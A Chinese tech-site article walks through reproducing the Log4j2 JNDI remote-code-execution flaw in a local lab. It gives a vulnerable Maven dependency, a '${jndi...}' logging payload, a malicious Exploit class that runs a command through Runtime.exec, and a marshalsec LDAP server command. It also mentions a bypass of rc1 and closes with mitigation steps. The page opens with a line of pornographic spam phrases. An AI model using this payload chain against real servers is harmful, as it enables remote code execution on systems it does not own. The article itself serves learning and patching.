一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何復現(xiàn)Log4j2漏洞

馬哥Linux運維 ? 來源:馬哥Linux運維 ? 2023-02-13 10:55 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

1. 簡介

ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發(fā)框架與Web應用中。

2. 漏洞概述

該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標服務器上執(zhí)行任意代碼。

3. 影響范圍

Apache Log4j 2.x <= 2.15.0-rc1

4. 環(huán)境搭建

1、創(chuàng)建一個新的maven項目,并導入Log4j的依賴包


org.apache.logging.log4j
log4j-core
2.14.1

漏洞利用

1、使用POC測試

importorg.apache.logging.log4j.LogManager;
importorg.apache.logging.log4j.Logger;
classLogTest{
publicstaticfinalLoggerlogger=LogManager.getLogger();
publicstaticvoidmain(String[]args){
logger.error("${jndi//localhost:8888/Exploit}");
}
}

2、編譯一惡意類Exploit.class

首先新建exp.java,然后編譯為class文件

classExploit{
static{
System.err.println("Pwned");
try{
Stringcmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exceptione){
e.printStackTrace();
}
}
}
javacexp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務

java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"8888

ed720a4e-aaa3-11ed-bfe3-dac502259ad0.png

4、運行poc.java,即可訪問惡意類并執(zhí)行寫在其中的"calc"命令

ed86eff4-aaa3-11ed-bfe3-dac502259ad0.png

結(jié)合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此異常進行了捕獲。

eda76ae0-aaa3-11ed-bfe3-dac502259ad0.png

5. 修復方式

目前,Apache官方已發(fā)布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建議同時采用如下臨時措施進行漏洞防范:

1)添加jvm啟動參數(shù)-Dlog4j2.formatMsgNoLookups=true;

2)在應用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;

3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署使用第三方防火墻產(chǎn)品進行安全防護。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • JAVA
    +關(guān)注

    關(guān)注

    20

    文章

    2988

    瀏覽量

    108216
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    205

    瀏覽量

    15660

原文標題:手把手教你復現(xiàn) Log4j2 漏洞

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點推薦

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影響?

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影響?
    發(fā)表于 12-07 07:02

    Java日志框架中的王者是誰

    不及Apache 的新一代日志框架 - Log4j 目前來看,Log4j2 就是王者,其他日志框架都不是對手 Log4j2簡介 Apache Log4j
    的頭像 發(fā)表于 10-13 09:12 ?1561次閱讀

    使用Keysight免費評估Log4j/Log4Shell零日漏洞

    在過去72小時左右的時間里,網(wǎng)絡(luò)安全領(lǐng)域的大多數(shù)人已經(jīng)意識到Log4j/Log4Shell零日漏洞及其對大多數(shù)web服務器、云應用程序、互聯(lián)網(wǎng)設(shè)備和嵌入式設(shè)備的廣泛影響。你可以閱讀CVE-2021-44228中記錄的所有血淋淋的
    的頭像 發(fā)表于 12-21 10:50 ?1773次閱讀

    SafeLog4j解決log4shell漏洞

    safelog4j.zip
    發(fā)表于 05-06 11:55 ?2次下載
    SafeLog<b class='flag-5'>4j</b>解決<b class='flag-5'>log4</b>shell<b class='flag-5'>漏洞</b>

    Log4-detector Log4J漏洞版本掃描器

    log4j-detector.zip
    發(fā)表于 05-06 11:55 ?0次下載
    <b class='flag-5'>Log4</b>-detector <b class='flag-5'>Log4J</b><b class='flag-5'>漏洞</b>版本掃描器

    log4j-finder Log4Shell漏洞掃描工具

    log4j-finder.zip
    發(fā)表于 05-06 11:54 ?1次下載
    <b class='flag-5'>log4j</b>-finder <b class='flag-5'>Log4</b>Shell<b class='flag-5'>漏洞</b>掃描工具

    fix_log4j2 log4j2漏洞緩解工具

    fix_log4j2.zip
    發(fā)表于 05-06 10:22 ?0次下載
    fix_<b class='flag-5'>log4j2</b> <b class='flag-5'>log4j2</b><b class='flag-5'>漏洞</b>緩解工具

    華為云VSS漏洞掃描服務為你排除Apache log4j2隱患

    華為云VSS漏洞掃描服務為你排除Apache log4j2隱患 近日Apache Log4j2漏洞持續(xù)發(fā)酵,已成為中國互聯(lián)網(wǎng)2021年年底前最大的安全事件。華為云VSS
    的頭像 發(fā)表于 10-13 13:52 ?1249次閱讀
    華為云VSS<b class='flag-5'>漏洞</b>掃描服務為你排除Apache <b class='flag-5'>log4j2</b>隱患

    委派模式——從SLF4J說起

    SLF4J全稱"Simple Logging Facade for Java (SLF4J) ", 它誕生之初的目的,是為了針對不同的log解決方案,提供一套統(tǒng)一的接口適配標準,從而讓業(yè)務代碼無須關(guān)心使用到的第三方模塊都使用了哪
    的頭像 發(fā)表于 01-31 15:12 ?780次閱讀

    log4j日志框架分析

    og4j是Apache下的一款開源的日志框架,能夠滿足我們在項目中對于日志記錄的需求。log4j提供了簡單的API調(diào)用,強大的日志格式定義以及靈活的擴展性。使用者可以自己定義Appender來滿足對于日志輸出的需求。在系統(tǒng)中對于記錄日志的需求并不單純。
    的頭像 發(fā)表于 02-28 14:32 ?1411次閱讀
    <b class='flag-5'>log4j</b>日志框架分析

    Spring Boot的日志框架使用

    目前市面上常見的日志框架有:slf4j(Simple Logging Facade for Java)、logback、log4j、log4j2、commons-logging(Spring默認日志框架)、JUL(java.ut
    的頭像 發(fā)表于 06-02 10:59 ?1176次閱讀
    Spring Boot的日志框架使用

    【聲明】請您放心,我們的產(chǎn)品沒有用log4j

    Apachelog4j漏洞11月24日由阿里云安全團隊向Apache官方報告了Apachelog4j遠程代碼執(zhí)行漏洞。這漏洞的影響范圍太廣(
    的頭像 發(fā)表于 12-19 13:51 ?551次閱讀
    【聲明】請您放心,我們的產(chǎn)品沒有用<b class='flag-5'>log4j</b>

    保護Log4j日志中的敏感數(shù)據(jù),兩步搞定!

    log4j在準備添加日志消息時調(diào)用此方法。在MaskingAppender類中,我們覆蓋這個方法來攔截日志消息,使用maskSensitiveData()方法對敏感數(shù)據(jù)應用masking,然后將修改后的消息傳遞給超類的append()方法。
    的頭像 發(fā)表于 10-18 16:03 ?1156次閱讀

    某些bug正常運行時會出現(xiàn),當打開串口log時又不再復現(xiàn)怎么辦?

    某些bug正常運行時會出現(xiàn),當打開串口log時又不再復現(xiàn)怎么辦? 在開發(fā)過程中,我們經(jīng)常會遇到一些bug。這些bug會對我們的開發(fā)造成一定程度的困擾,有時候甚至會讓我們的軟件崩潰或無法正常運行
    的頭像 發(fā)表于 10-31 14:37 ?549次閱讀

    Log4cpp優(yōu)勢及優(yōu)點

    命令行、文件、回卷文件、內(nèi)存、syslog服務器、Win事件日志等; 可以動態(tài)控制日志記錄級別,在效率和功能中進行調(diào)整; 所有配置可以通過配置文件進行動態(tài)調(diào)整; 多語言支持,包括Java(log4j
    的頭像 發(fā)表于 11-09 14:27 ?1019次閱讀
    <b class='flag-5'>Log4</b>cpp優(yōu)勢及優(yōu)點